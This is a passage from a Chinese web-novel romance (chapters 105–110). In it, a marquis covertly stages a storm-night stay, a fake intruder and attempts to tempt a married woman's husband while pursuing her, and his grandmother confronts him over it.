若明知前方寸步难行还将人弃之不顾,未免太过不近人情。 她迟疑片刻,只又低声道, “侯爷若是不嫌弃,便在此对付一宿吧。” “这怎好冒昧叨扰?”楚烬却摆出一副正气凛然的样子, “你本就忌惮我,若我真留下,你晚上怕是要做噩梦吧……” “我还是走吧……” 他俊朗刚毅的脸上露出一丝决然, “大不了便是在外面淋一夜雨罢了。” 罗苒先前确实对楚烬心存芥蒂。 毕竟这个男人喜怒难测,缠上她的时候肆无忌惮,真让他单独留宿,她也不确定他会不会做出什么出格的事。 可如今见他这副端正自持凛然正派的模样,反倒打消了自己心中的忧虑。 他若当真对自己还有非分之想,又怎会这般干脆推辞? 想来也是,在他眼里,自己早已是旁人之妇。 她也早已明言绝不会和离,想来他也早已放下了那份执念,这几次来也真的单纯是为了探视孩子们吧…… 这样想着罗苒心里松了口气,顺势劝道, “雨势这般汹涌,看样子起码要下到半夜,若是整夜淋在雨中,纵使是铁打的筋骨也受不住寒凉。” 一旁的小玥睁着大大的眼睛,不安望着窗外雷鸣电闪的雨夜,小脸满是怯意。 她拉着楚烬的衣角,软糯开口, “是啊,楚公爷就留下来别走了好不好?外面雨好大,爹爹和小叔都回不来,只剩我们和娘亲,小玥害怕……” 顿了顿,又压低声音对罗苒道, “你或许不知,近来这一带盗贼十分猖狂,专爱挑这种雷雨深夜作案。他们最是狡猾,专盯着家中没有成年男丁的人家潜入,轻则偷窃财物,重则谋财害命。而且大雨会将所有作案痕迹冲刷得一干二净,官府很难追查抓捕……” “依照这些贼人的习性,这般风雨交加的夜晚,正是他们伺机而动的好时机,我留下来守着,也能为你们母子三人做个照应,免得夜里出什么意外。” 罗苒平日里心思简单,从未往这般凶险的层面多想,被楚烬这番话说得心头一惊,顿时生出几分心慌不安。 她连忙颔首道,“那侯爷暂且稍作等候,我这就去后厨为您准备晚饭。” 罗苒本就胆子小,平日里夜里狗吠声大些都能吓一跳。 如今又是雷雨交加风声呼啸,又听了楚烬那番骇人的言语,一时更是心神不宁。 根本无心精心烹制,只简单炒了三道家常菜,又熬了一锅热汤便作罢。 寻常乡野百姓的日子本就朴素清简,自然比不上楚烬身处的高门侯府那般奢靡阔绰,日日山珍海味从不间断。 桌上都是再普通不过的家常小菜,罗苒心里还暗自担心楚烬会嫌弃。 可没想到落座用餐时,楚烬却吃得从容自然,半点没有嫌弃的神色。 还十分细心地将自己碗里为数不多的肉块挑出,夹到衍儿和小玥的碗中,满眼都是温柔宠溺。 待晚饭用完,罗苒收拾好碗筷回来,便见楚烬正陪着衍儿和小玥嬉闹玩耍。 他放下了平日的冷硬矜贵,耐心陪着两个孩子打闹逗乐,眉眼间满是柔和。 屋外依旧是电闪雷鸣,风声夹杂着雨声肆意呼啸。 屋内烛光摇曳,暖光融融,冲淡了雨夜的阴冷寒凉,反倒萦绕着一股恬淡温馨的气息。 眼下院中只有主屋暂时不漏雨,罗苒又不便让楚烬去住黎娜与姜采薇的房间,只好安排他睡在自己卧房外间的矮榻上。 她与楚烬早已有过更为亲密的过往,可不知为何,此刻独处一室,对上他深邃灼灼的目光,心底反倒莫名生出几分局促。 她不敢多做停留,匆匆为他铺好被褥备好寝具,便带着衍儿和小玥进了内屋。 夜深时分,罗苒好不容易将孩子哄睡躺下,正准备闭目歇息,忽然隐约听见窗外传来一阵细微的异动声响。 恰在此时,一道刺眼的闪电骤然亮起,瞬间照亮窗外一道模糊不清的人影。 楚烬之前说的盗贼之事瞬间涌入脑海,罗苒顿时毛骨悚然。 她怕惊醒孩子,强忍着不敢出声叫喊,连鞋子都来不及穿,赤着脚慌忙跳下床,快步往外跑去。 刚拉开房门,险些撞进门口的楚烬怀里。 罗苒吓得浑身发抖,眼眶泛红,来不及细想此时的楚烬为何会站在她放门口,只颤着声音,战战兢兢地道, “侯爷……我刚刚看到窗外有人影,就在窗边……” 楚烬见她吓得赤脚奔出眼圈泛红的模样,心头微软,柔声安抚, “莫怕,我出去查看一番,你回房守着孩子。” 罗苒慌忙连连点头,慌忙转身回到屋内。 楚烬出去绕院巡查一圈,片刻后折返回来, “外面并无异常人影。” 罗苒却依旧神色紧绷,小脸惨白, “可我真真切切看见了,人影就贴在我窗外。” 楚烬望着她惊慌失措,全然顾不上仪态的模样,语气带着几分自责, “想来是下午我同你说那些盗贼之事,把你吓得心神不宁,夜里才会胡思乱想,生出错觉……是我不好,明知你胆子极小,不该故意说那些话的……” “我稍后把矮榻挪到你房门口,你若再察觉异样,只管出声唤我。” 罗苒一闭上眼,脑海里就浮现出窗外那道诡异人影。 忽然又是一声惊雷炸响,她吓得脖颈一缩,险些惊呼出声。 就算知道楚烬会守在门外,心底依旧惶恐难安。 第一卷 第106章 你瞧瞧是不是刚刚被你踩伤了? 楚烬瞧她泪眼汪汪怯生生又可怜又可爱的模样,心中怜爱得紧,便故作体贴周全道, “你带着两个年纪尚小的孩子独处一室,心系孩子们会格外担惊受怕,这也是人之常情……” “若是你依旧放心不下,我索性把矮榻搬进内屋,睡在窗下可好?这般一来,就算真有贼人半夜翻窗潜入,我也能第一时间察觉,护住你们母子三人。” 此情此景,罗苒哪里还顾得上什么男女避嫌礼教规矩,连忙用力点头应允, “嗯嗯,有劳侯爷。” 夜深人静,窗外风雨缠绵不休。 屋内一秉小小烛火摇曳不止,晕开一片暖柔的光晕,驱散了雨夜的寒凉。 罗苒连日照看着孩子,又经方才一番惊吓,心神早已疲惫不堪。 身边衍儿和小玥睡得安稳香甜,她靠在枕边,没多时便倦意翻涌,呼吸渐渐匀净,沉沉睡了过去。 不知何时,楚烬已从矮榻上起身,静静倚在窗边的阴影里,目光锁在床榻上的女子身上,久久没有移开。 烛光温柔地描摹着她恬静的睡颜,睫毛纤长浓密,垂落如蝶翼轻敛。 平日里她对他的疏离戒备,那份刻意的别扭躲闪,此刻尽数褪去,只剩眉眼间的温顺。 唇瓣软软抿着,带着几分浑然不自知的娇嫩脆弱。 楚烬望着她,心底翻涌万千思绪。 他忽然想起,当初在楚府两个孩子都尚在襁褓之中,她初来乍到又一人哄着两个孩子,想来那时是十分辛苦的。 在楚府第一次见到她时,她也是这样,床榻之间搂着两个孩子熟睡,连他推门进来都未曾察觉。 当时自己确实没有其他心思,伸手捂住她的嘴,也只是单纯担心她惊醒熟睡的孩子。 可谁曾想,她挣扎时的那一膝盖来得太过突然,力道又急又猛,他被撞得腿软,才会不小心将她压在身下。 那一刻的触感,他到现在都记得清清楚楚…… 柔软馨香,浑身都透着一股让人心神荡漾的娇嫩。 他当时满心诧异,只疑惑这世间怎会有女子,香软得这般勾人。 他不得不承认,那一面之后,她便像一颗种子,悄无声息地落在了他心底,勾得他夜夜辗转。 起初他只当,这不过是男人见到美貌女子都会有的一时兴趣。 可如今才幡然醒悟,他对这个女人,从来都不仅仅是一时兴起。 第二日清晨,罗苒在一片静谧中醒来。 迷迷糊糊间察觉天已泛亮,趁着孩子们还未醒,便想着起身去厨房做早饭。 她撑着床沿起身,脚下刚一落地,却踩到一团温热坚硬的东西,带着微微的起伏。 罗苒吓了一跳,顿时清醒过来,低头一看,才发现楚烬竟然不知什么时候睡在了自己床边的地上。 而自己的脚正踩着他的腹肌。 太过惊讶以至于她有一瞬间怔愣。 楚烬被她这一脚踩醒,还带着几分睡眼惺忪的慵懒。 小腹上是柔软细腻的触感,让他不自觉低低轻哼一声,随即伸出大手,稳稳覆住了罗苒的脚。 温热的掌心包裹着罗苒微凉的脚背,大拇指似有若无地在她纤细的脚踝上摩挲了一下。 一阵麻痒的感觉顺着脚踝蔓延开来,罗苒浑身一抖,这才反应过来,慌忙想要收回脚。 可楚烬的手却攥得紧实,没有半分松开的意思。 罗苒又羞又恼,怕吵醒身边的孩子,只能压低声音,带着几分怒意道, “松开!” 楚烬似是这才彻底清醒过来,瞧着被自己握在手中的白皙纤足,恋恋不舍地松开了手。 罗苒迅速将脚收回,脸上还带着羞恼的红晕,抬眼质问他, “你放着好好的矮榻不睡,怎会躺在这儿?你堂堂永安侯爷,怎如此不知分寸!我昨夜真是信了你的邪……” 在罗苒恼怒的目光中,楚烬揉了揉惺忪的睡眼,语气带着几分无辜, “昨夜半夜窗户漏雨,矮榻都被雨水打湿了,实在没地方睡,才只能躺在这儿凑合一晚。” 罗苒闻言,下意识转头看向窗边,果然看到那扇窗户不知何时破了一处,窗沿下的矮榻上,还残留着湿漉漉的水渍,显然是不能再睡人了。 “这窗户昨夜明明还好好的……怎会突然破了?” 楚烬神色自然的补充, “许是夜里风雨太大,被狂风或是杂物撞破的吧。” 罗苒想来也觉得合理,毕竟昨夜雷雨肆虐,狂风呼啸,窗户被撞破也并非不可能。 意识到自己方才不分青红皂白便质问他,罗苒心底泛起几分尴尬,看向楚烬的目光也软了下来,缓和的语气带着几分愧疚, “抱歉,我刚刚不该那般说你。” 楚烬的目光却似无意间扫过她收回榻上的白嫩小脚和纤细脚踝上。 眼底闪过一丝笑意,嘴角微微上挑,语气轻快, “无事,我不怪你。” 罗苒察觉到他的目光,想着自己刚刚踩在他腹肌上,有种他好像很享受的错觉,便愈发窘迫起来,连忙避开他的目光,匆匆道, “我去做饭了。” 说着,便脚步匆匆地走出了卧房。 刚出房门,黎娜熟悉的声音便从前院传来, “阿苒,我们回来了!” 罗苒见黎娜和姜采薇一大早赶回来,忙迎上去, “你们怎么这么早就回来了?昨日雨那么大,你们可淋到雨了?我去给你们熬碗姜汤驱驱寒。” 姜采薇连忙伸手拦住她,摇头道, “昨日收铺时就听说土桥被冲垮了,雨不停便无法归家,所以我们索性宿在药堂,并未淋雨。” 一旁的黎娜,不由问道, “昨夜只有你和孩子们在家,我们心里一直不踏实。你胆子小,昨夜又是雷雨交加,想来你定然又急又怕,所以天一亮,我们便匆匆赶回来了……” “你昨晚睡得可还安稳?” 罗苒刚要开口回答,身后的卧房房门再次被推开。 楚烬披着一头散落的长发,依旧是昨日那件松松挂着的外衫,衣襟大敞,露出线条分明的健硕胸膛,姿态慵懒地走了出来。 他抬手捂着自己线条分明的小腹,表情似有些委屈,看向罗苒, “苒娘,我这儿疼,你瞧瞧是不是刚刚被你踩伤了?” 第一卷 第107章 她说没做什么,便没做什么吧 罗苒不由瞪向他,他那腹肌硬得像石头一般,她又赤着脚,怎么可能踩伤他? 这分明就是当着黎娜的面故意挑衅。 黎娜一看到楚烬,瞬间炸毛,当即把罗苒拉到自己身后,眼神警惕又愤怒地瞪着楚烬, “你怎会在阿苒的房里?你这登徒子,是不是对阿苒做了什么过分的事!” 罗苒知道,黎娜此刻扮演的是她夫君的身份,生怕两人起冲突,连忙拉了拉黎娜的袖子,低声解释, “没有没有,阿黎你别误会,昨日他来探望衍儿,恰逢大雨,院内漏雨不止他帮忙修补屋顶,湿了衣衫才暂时借用你的衣服,又因土桥坍塌他无处可去,才暂且留宿在此,他并未做什么。” 楚烬对罗苒的心思,在场的人都清清楚楚。 黎娜哪里肯信。 楚烬这种在战场上厮杀惯了的战神般人物,体格硬朗健硕,就算天上下刀子,他若想走也扛得住。 他费了这么多心思留下来,怎么可能什么都不做? 楚烬却一脸随意,漫不经心地扫了黎娜身后的罗苒一眼, “她说没做什么,便没做什么吧……你若是不相信她,我也没办法。” 这话说得含糊,分明巴不得黎娜误会,最好两人因此吵架生出嫌隙,闹到和离。 黎娜何等聪慧,瞬间便看穿了他的险恶用心,冷哼一声,眼底满是不屑, “我自是相信阿苒的,你不必在这里挑拨离间。” 眼看挑拨未能得逞,楚烬半点不觉得难堪。 抬手漫不经心地拢了拢身上松垮的外衫,神色依旧从容。 黎娜紧盯着他那副模样,似是察觉到了什么不对劲,当即扭头看向身旁的姜采薇,压低声音道, “我怎觉得,村口那座土桥坏得有些蹊跷?” 姜采薇闻言,缓缓点头,脸上也露出几分思忖之色,轻声附和, “确实……那土桥虽不坚固,也不至于这般轻易就被冲垮,未免太过凑巧了些。” 二人的低语虽轻,却一字不落地落入楚烬耳中,他怎会听不出她们话里的意有所指。 可他半点不慌,反倒一脸坦然地开口,语气带着几分戏谑反讽, “没错,便是我天生神通广大,能提前预知暴雨将至,特意提前弄破屋顶冲毁土桥,费尽心机只为在此留宿一宿,最后还什么都不做,白费一场功夫。” 这话明摆着是说反话,语气里的荒唐与调侃显而易见。 黎娜与姜采薇对视一眼,心底原本的疑虑竟真的消散了大半。 是啊,若真是他刻意为之,怎会有本事提前预测暴雨? 更何况,又是弄破屋顶,又是毁桥,这般大费周章,只为留宿一晚,未免太过离谱荒唐,实在不合常理。 正思忖间,院门口忽然传来一阵清脆的马蹄声,紧接着便有侍从的通报声传来。 众人抬眼望去,只见一辆装饰华丽的侯府马车已然停在了院门外。 楚烬抬眼望向马车,随即转头看向罗苒, “侯府的马车来接我了,我这般模样,在马车里也无人瞧见,暂且先这样回去便是。” 说着,他目光有意无意地扫过一旁脸色依旧紧绷的黎娜,语气里带着几分似有若无的委屈, “省得我在这里逗留太久,又有人多心,以为我心怀不轨有所图谋。” 他又看向罗苒,语气继续放软, “我一介武夫,怎会懂那些钩心斗角的弯弯绕绕……” 方才他那番反话本就打消了众人不少疑虑,此刻再摆出这副无辜委屈的模样,反倒显得黎娜二人方才的怀疑实在是多虑了。 说着,楚烬全然没理会一旁正瞪着他的黎娜,大摇大摆地迈步走出院落,径直上了等候在门口的侯府马车。 马车缓缓启动,平稳地驶向侯府方向。 行至半途,恰好路过那座一早便已修缮完好的土桥…… 昨日被刻意损毁的痕迹,早已被修缮得毫无破绽,仿佛从未被大水冲垮过一般。 马车缓缓停下,一名身着黑衣身形挺拔的暗卫轻手轻脚地掀开车帘,躬身走了进来,恭敬地垂首复命, “侯爷,土桥已全部修缮完毕,不留半点痕迹。” 楚烬微微颔首,目光不经意间扫过眼前的暗卫楚六,眉头微挑, “昨夜在窗外淋雨,染了风寒?” 楚六鼻尖泛红,鼻音确实有些浓重,闻言连忙低头,略带局促地回道, “回侯爷,属下无碍,只是些许着凉,不影响差使。” “无妨便好。” 楚烬淡淡开口,语气听不出喜怒, “去楚一那里领份赏,这两日好好歇息,养好了身子再当差。” “属下谢侯爷恩典。” 楚六恭敬地垂首领命,心底暗自感激。 待他微微抬头,无意间瞥见楚烬唇角噙着的一抹浅淡笑意,那笑意虽淡,却真切可见。 显然,主子今日的心情极好。 楚六心底暗自思忖,不由得想起方才在蒙院院内,主子故意摆出一副粗直模样,说着“我一介武夫,怎会懂那些弯弯绕绕”的话语。 确实,他们主子是一介武夫,确实不懂那肤浅的弯弯绕绕。 只是他自小便熟读兵法谋略,常年征战沙场,不仅武艺高强,攻心计谋更是玩得出神入化。 想想蒙院的那位小娘子,若是知道自己眼前这位“不懂弯弯绕绕”的爷,为了留宿同她相处一晚,又是惊动司天台预测天气又是提前遣人偷偷掀了她们家屋顶,甚至为了无人打扰还毁了土桥…… 到时,也不知她会是何种模样? 楚烬频频往小镇跑的事,终究还是惊动了楚府老夫人。 这日,罗苒正在蒙院教孩子们读书识字,院外忽然来了一行人,神色恭敬却强硬地将罗苒请走。 一行人态度坚决强硬,罗苒不得不从。 跟着他们辗转来到城郊的寺庙,才发现是楚府老夫人在此祈福。 两年未见,老夫人依旧雍容,只是鬓边白发添了不少,衬得神色愈发威严。 第一卷 第108章 现下不肯主动和离,我又什么办法? 她抬眼,冷冷凝视着罗苒,语气更是带着几分质问, “之前便听闻烬儿近来行事反常,我还觉得蹊跷,细查之下,才知竟是你在这里!” “罗氏,你竟敢耍老身?” 老夫人的声音陡然拔高,带着压抑的怒火, “当年你说好会带着两个孩子永远消失,不再出现在烬儿面前,老身这才破例出手帮你,甚至给你换了新的身份户籍,让你能安稳度日,可如今,你却又出现在他眼前,你安的什么心?” 罗苒连忙垂首解释,语气恭敬又恳切, “老夫人息怒,我与侯爷只是偶然间恰巧遇上,绝非有意纠缠。” “偶然相遇?” 老夫人显然不信,“那你如今到底是什么想法?莫不是带着孩子在外苦熬两年,后悔了,又想回过头来找烬儿,攀附侯府的荣华富贵?” “老夫人多虑了。” 罗苒连忙否认,语气坚定, “我对侯爷早已没有半分情意,而且我如今已经成亲,我夫君与我一同抚养两个孩子,我们一家过得安稳和睦,绝无半分攀附之意。” “你成亲了?” 老夫人满脸震惊,猛地看向罗苒,语气里满是不可置信, “烬儿……他可知晓此事?” 罗苒点头, “侯爷自是知晓。” 老夫人看着罗苒低眉顺眼的模样,愈发不解,眉头拧成了一团, “既然他知晓你已成亲,为何还频频往你那里跑?” “侯爷心中一直惦记着衍儿,这段时间来得频繁,只是为了探视孩子,并无其他用意。” 罗苒低声回道,神色依旧恭敬。 她理解老夫人的苦心,所以即便被这般贸然带到寺庙,也未有半句不满。 老夫人吃斋念佛多年,性子虽因护着楚家血脉而显得有些偏执自私,事事以侯府颜面和楚烬的前程为重,可本质到底是善的。 突然听闻楚烬又频频与她有纠缠,她老人家会有所顾虑也在所难免。 想来只要她好好同老夫人解释清楚,说明她对楚烬毫无异心,老夫人性子虽执拗,却也明事理,听完解释,应该便不会再这般误会她了。 老夫人盯着罗苒原本皱着的眉头皱得更紧了,正要开口再说什么,殿门被猛地推开。 楚烬大步走了进来。 显然是听说了老夫人见罗苒的事,才匆匆赶了过来。 “祖母。” 楚烬开口,喊了一声,目光却下意识扫过罗苒,确认她安然无恙后,才稍稍放下心来。 老夫人冷哼一声,“你还知道有我这个祖母?” 她意有所指地看了罗苒一眼, “你瞧瞧你做的好事,频频往一个有夫之妇的家里跑,传出去像什么话?你到底打算做什么?” 楚烬却没有理会老夫人的怒火,转头看向罗苒,语气温和, “苒娘,此事皆是误会,是祖母误解你了,我替她向你道个歉。” “你暂且去偏殿等候片刻,我同祖母好好解释清楚,不会让她再误会你,也不会让你为难。” 说罢,他转头朝身旁伺候的下人递去一个示意的眼神,吩咐道, “带罗娘子去偏殿歇息等候,好生伺候,莫要怠慢。” 罗苒犹豫了片刻,还是顺从地跟着下人去了偏殿等候。 罗苒刚被带出门,老夫人再也按捺不住心中的怒火,猛地抓起桌上的茶杯,朝着楚烬脚边狠狠扔了过去。 “哐当”一声,茶杯碎裂,瓷片四溅。 “混账东西!” 老夫人气急,厉声呵斥, “你到底想要做什么?你明知道她已经成亲,有了夫君,还频频去纠缠她,你是不是疯了?” 楚烬神色平静,抬眼看向老夫人,语气坦然, “我想要什么,祖母这两年应该看得清清楚楚。” “看得清楚?” 老夫人气的胸口起伏, “可她已经有夫君了啊!你是堂堂永安侯,怎么能做这种有失身份有悖礼教的事?” 楚烬语气轻飘飘的,仿佛在说一件无关紧要的小事, “有夫君,也可以和离。” “啪!” 这话彻底激怒了老夫人,她再次抓起桌上的茶杯,朝着楚烬身上狠狠扔去。 楚烬没有躲,滚烫的茶水泼了他一身,浸湿了他的衣衫,他却依旧神色未变,直直地站在原地。 老夫人指着他,手指微微颤抖,语气里满是痛心和愤怒, “你可知你这是什么行为?你是堂堂永安侯,身份尊贵,若是被外人知晓,你竟惦记一个有妇之夫,执意要破坏别人的家庭,你会被世人耻笑,会毁了自己的名声,也会毁了侯府的颜面!” “孙儿自是知道这是什么行为。” 楚烬语气干脆,眼底没有半分犹豫, “我也不想做那试图插足别人家庭的卑鄙之人,但她现下不肯主动和离,我又什么办法?” “楚烬!”老夫人只觉得眼前一黑,险些气晕过去,“你怎能如此糊涂!” “这天下女子千千万,什么样的好女子没有?罗氏到底给你灌了什么迷魂汤,让你这般对她念念不忘?她是成过两次婚的人,还带着两个孩子,你身为永安侯,什么样的女子娶不到,为何偏偏揪着她不放?” 顿了顿,老夫人又咬牙问道, “更何况,她若是执意不跟她丈夫和离,你还能硬生生把她抢来不成?” “祖母多虑了。” 楚烬缓缓开口,“我还是有基本底线的,不会做出强抢人妻这般荒唐的事。” 老夫人闻言,心底稍稍松了口气,脸色也缓和了些许。 还好,他还没有彻底糊涂,还有几分底线。 可这份松气还没持续片刻,就听楚烬缓缓补充道, “若我真的强硬出手,对她在乎的人做些什么,逼她就范,那才是真的会让她恨我,永远无法挽回……” “所以,我不会用明晃晃的强制手段……” 老夫人望着自家外孙脸上讳莫如深的神色,心底不由一沉。 他说不会用明晃晃的强制手段,可这话听着怎么都觉得话中有话。 她不由想起之前被楚烬精心算计过的裴济,脸色瞬间一僵, “你莫不是又谋划着,要跟之前对付裴济那样,暗中动手脚?” 面对祖母的质问,楚烬并未反驳,算是默认了她的猜测。 老夫人连连劝道, “烬儿,你怎这般固执!你是堂堂镇国将军,是皇帝亲封的永安侯,身份尊贵无比,怎能用这种下作伎俩,去拆散别人的姻缘?” 第一卷 第109章 我这般行径,既下作又卑鄙 “苒娘一直说,她要找的是真心爱她对她一心一意之人。若她所谓的夫君,能轻易被旁人引诱,便说明他并非良人,也配不上苒娘的真心。” 老夫人听着楚烬这番歪理邪说,顿时气恼,“你既肯承认,便说明你早已动了手脚!可他们夫妻二人依旧和睦,没有半点要和离的间隙,可见她那夫君,根本没受你的那些伎俩影响……” 楚烬沉默了。 老夫人说得没错。 早在得知罗苒成亲后,他便派人仔细调查过那个名叫段离的男人。 可调查结果却简单得有些不真实。 身世清白,除了打理药堂,便只剩陪伴罗苒和孩子,再无其他牵扯。 这阵子,他先后派了好几波人去段离的药堂试探引诱,有妖艳妩媚的,有纯情娇憨的,有貌美温婉的,也有泼辣热情的。 可那段离愣是半点不为所动,无论眼前的女子多惹眼,他都未曾多瞧一眼,更别提有半分逾矩之举。 平日里,他也不见有任何相好的异姓,反倒与楚乘风走得颇为亲近。 老夫人见楚烬低头沉默,不发一言,便知他定是已经用过手段,却终究没能得逞。 她放缓了语气,又添了几分劝诫, “现下这般情形,足以证明罗氏的夫君是真心待她可托付终身之人,你怎还不死心?非要硬生生搅和两个真心相爱的人,你就真的忍心吗?” 楚烬的神色变得复杂,眼底的偏执强硬渐渐褪去,半天才苦笑一声,语气里满是酸楚与无奈, “祖母,我又怎能不知,我这般行径,既下作又卑鄙?可我又能怎么办?” 他微微抬眼,眼眶已然泛红,看向老夫人的目光里,满是压抑的痛苦不甘, “祖母,在我得知她成亲的那一刻,我真的尝试过放手,可我做不到……” “我心悦她,从当年在那寒冷刺骨的山谷中,被她拼尽全力救起的那一刻起,我的心,就已经被她牢牢攥住,再也收不回来了。” “后来,我们能冥冥之中再次相遇,我以为是老天在帮我,可我却偏偏仗着自己的自负,骗她伤她。” “之后更是依旧执迷不悟,只凭着她无依无靠舍不得孩子,便有恃无恐地逼迫纠缠她……如今我才后知后觉,那时的自己从未真正尊重过她的想法……” “我仗着自己的身份权势,便自视甚高,下意识觉得该高她一等。那时我以为,给她一个寡妇正妻的身份,便是给了她天大的恩赐,她就该感恩戴德俯首帖耳地接受这一切,若是她有半分犹豫抗拒,便是不识好歹……” “可我明明清楚,她一直要的从来不是这所谓的贵族荣耀正妻名分,她要的不过是一份被尊重珍视的心意,是一份安稳自在不受逼迫的生活。” “我自始至终,都没有真正平等地对待过她……” 楚烬脸上是满满的自嘲之意,声音落寞, “想来她也是看得透彻,才会对我彻底心死失去所有信任,拼尽全力也要逃离。” 老夫人从未在楚烬脸上看到这样的神情,一时间竟也顾不得生气,只冷着脸听他发泄般 “您不知道,两年前,当我得知她和孩子们葬身崖底的消息时,我是何等绝望。所有人都觉得,我那时只是受不了突如其来的噩耗,才会变得那般疯魔偏执,可只有我自己清楚,我之所以会那样,是因为在无尽的痛苦之中,我才幡然醒悟,自己对她的心意,从来都不是一时兴起。” “您更不知道,当我再次看到她,确认她和孩子们都安然无恙时,我心里有多庆幸,有多欢喜……那种失而复得的滋味,足以让我放下所有的骄傲和身段,只想好好守着她,再也不放手。” 楚烬从老夫人的殿中出来后,便径直去了偏殿。 罗苒正在偏殿等候。 楚烬一进门便道, “我已经同祖母说清楚了,一切都是我自作主张,是她误会了你。” 罗苒点点头, “解释清楚了便好。” 又看了看天色,“时候不早了,孩子们还在等我,我先回去了。” 楚烬连忙上前一步, “这寺庙地处偏远,山路崎岖,你一个人走回去,还不知要到猴年马月。我的马车就在寺外,我送你一程。” 罗苒犹豫了一下,想着这段路走回去确实吃力,便应了下来。 马车内,光线柔和。 两人相对而坐,楚烬目光扫过眼前近在咫尺的女人,脑海里不由想起方才祖母听完他那番肺腑之言后的模样。 她沉默了许久,最终只是轻轻叹息一声, “随你吧,你也经历过那般失去的痛苦,往后,莫要再做让自己后悔的事便好。” 后悔的事他已经做过一次,痛了两年,如今怎会再重蹈覆辙? 一路无言,马车平稳地前行着,二人各怀心思。 临到时,罗苒却难得主动开口,话语间带着几分郑重,对楚烬道, “侯爷,您经常来找衍儿,终究不是那么回事,确实容易让人误会。” “再者,之前是我没有考虑周全,邻里之间一直以为衍儿和小玥是我和阿黎的亲生孩子,您这般频繁往来,邻里想必也会起疑……若是传出什么不好的闲话,累及衍儿和小玥,总归是不好的。” 她说着,微微垂眸,目光落在自己的衣袖上,语气柔和了几分,又补充道, “我并不是要阻止侯爷见衍儿的意思,如若您想见他,可派人来传一声,我便送衍儿去您那里,或是您派人来接,都好。” 楚烬看着眼前这个女人努力要和自己划分界限的模样,心中五味杂陈。 他在战场上叱咤十年,战功赫赫,降敌无数,对待再狡诈的敌军都能游刃有余。 可此刻,却不知该拿她如何是好。 罗苒见楚烬只是神色复杂地看着自己,便当他是默认了自己的提议。 眼看马车就要驶到家门附近,她说道, “就在这停吧,劳烦侯爷了。” 说罢,便起身利落地下了马车。 第一卷 第110章 可乘之机 楚烬连忙跟着起身,一同下了马车。 罗苒朝他点头致意,转身要走。 楚烬却突然伸手拽住她的手腕。 罗苒回头,恰好迎上楚烬灼热的目光。 “苒娘,我心悦你。”楚烬的声音低沉。 罗苒满脸诧异,下意识地用力收回被拽住的手, “侯爷,您莫要说笑了,这玩笑开不得。” “我没有说笑。” 楚烬否认,眼神直直地望着罗苒的脸。 索性卸下所有的伪装,坦诚道, “之前是我太自负太愚蠢,不敢承认自己对你的感情,这两年,我无时无刻不在后悔,也早已把自己的心意看得清清楚楚。” 他顿了顿,语气愈发恳切,一字一句道, “苒娘,我喜欢你,从始至终,心中只有你一人。” 罗苒看着楚烬眼中毫不掩饰的深情与执着,竟不由慌了神。 她怎么也没想到,时至今日,楚烬竟然会对自己说出这番话。 一时间竟不知该如何回应,只匆匆丢下一句, “侯爷今日这话我权当未听过,时候不早了,请回吧。” 便慌忙转身,快步往家的方向走去。 刚走了几步,身后便传来楚烬低沉而沙哑的声音, “苒娘……” 罗苒脚步一顿,下意识地回头望去,瞬间撞进楚烬的目光里。 那目光浓得像化不开的墨,裹着极致的固执和坚定。 他唇角微微轻挑,俊朗的眉眼间漾开一抹浅淡却笃定的笑,那笑意里藏着势在必得的执着, “我不会放弃。” 低缓的声音带着不容错辨的执拗,穿透微凉的晚风,清晰地落在罗苒耳间。 罗苒只觉得心头猛地一缩,慌意顺着脊背蔓延至四肢百骸,连再看他一眼的勇气都没有,几乎是踉跄着快步回了院中。 楚烬那日对罗苒说罢那番告白,转身便生出几分悔意。 他太清楚罗苒的性子,胆子本就小,又对自己心存忌惮。 那日一时冲动袒露心意,怕是反倒吓着了她。 若是因这番唐突,让她对自己愈发防备,即便日后自己再步步为营小心翼翼,怕是也难再靠近半分。 这般想着,便决定先缓上几日,压一压心底的执念,再寻个合宜的理由去见她,莫要再急着逼她。 眼下,也只能先从他处下手。 可偏生,那个名叫段离,被罗苒视作夫君的男人,竟真的那般油盐不进,软硬不吃。 派去试探引诱的人接连折返,皆是连半点破绽都没能找到。 楚烬心底焦躁躁,实在无法相信这世间怎会有这样的男人。 正不知该如何打破僵局时,竟真应了“瞌睡来了有人递枕头”的说法。 这日,楚府的小厮匆匆赶来禀报,神色慌张地说二房出了事。 竟是楚乘风与帝都外段家药堂的段大朗之间,起了的事端。 楚烬一听,那段家药堂的段大郎不正是罗苒的夫君吗? 他先前便已知晓,楚乘风与段离相识,且二人关系似乎颇为不错。 最初楚乘风为了帮段离,甚至还试图诓骗他这个大哥,结结实实吃了他两拳后才彻底老实。 如今这二人之间,又能生出什么事端来? 他连忙细问详情,听完小厮的禀报,不由得大吃一惊。 竟是楚府二太太,亲眼撞见楚乘风在房间里,与同身为男子的段离举止亲昵暧昧。 震惊过后,楚烬反倒豁然开朗。 怪不得他派去那么多美貌女子,都入不了段离的眼,原来竟是这般缘由! 这般一来,所有的疑惑便都有了答案。 此事于楚家而言,本是见不得人的家门污点。 可不知为何,楚烬竟有种柳暗花明的感觉。 他不敢耽搁,当即翻身上马,快马加鞭赶回楚府。 刚到府门口,便恰巧撞见了立在那里的罗苒。 显然,她也听到了消息,正一脸焦急地同门口的侍卫低声恳求着什么,眼眶早已急得通红,神色慌乱又无助。 楚烬脚步一顿,缓缓走上前。 罗苒抬眼间瞥见他,原本焦灼的脸上瞬间掠过一丝光亮,像是抓住了救命稻草一般。 她顾不得前几日二人之间的尴尬疏离,快步上前,声音带着难以掩饰的急切与恳求, “侯爷,求您帮帮我……我夫君被二太太扣在府中了,劳烦您同侍卫说一声,让我进去见他一面,好不好?” 罗苒实在没有想到,那日被楚烬那般郑重告白过后,竟会以这样猝不及防的方式再次与他相见。 方才一听闻黎娜被楚府二太太扣在府中,她便火急火燎地赶了过来。 一路上都在琢磨到底发生了什么事。 她自然知道黎娜与楚乘风如今的关系,按理说楚乘风应当护着黎娜,怎会惹得二太太动怒? 罗苒深知二太太的严厉手段,当年验身一事的阴影仍盘踞心底,让她畏惧许久。 如今得知黎娜被其扣押,罗苒只觉得心头不安,生怕黎娜受了委屈。 因此此刻撞见楚烬,她早已顾不上前几日二人之间的尴尬疏离,满心只有焦急。 楚烬望着罗苒满脸焦灼的模样,眼底飞快掠过一抹不易察觉的怜惜。 他心知,这小娘子至今还蒙在鼓里,一心一意信任着自己的夫君,若是待会儿知晓真相,不知会何等心碎神伤。 转念一想,若是她难过无助之时,自己顺势上前安抚关怀,岂不是大有可乘之机? 他压下心底的盘算,温声安抚, 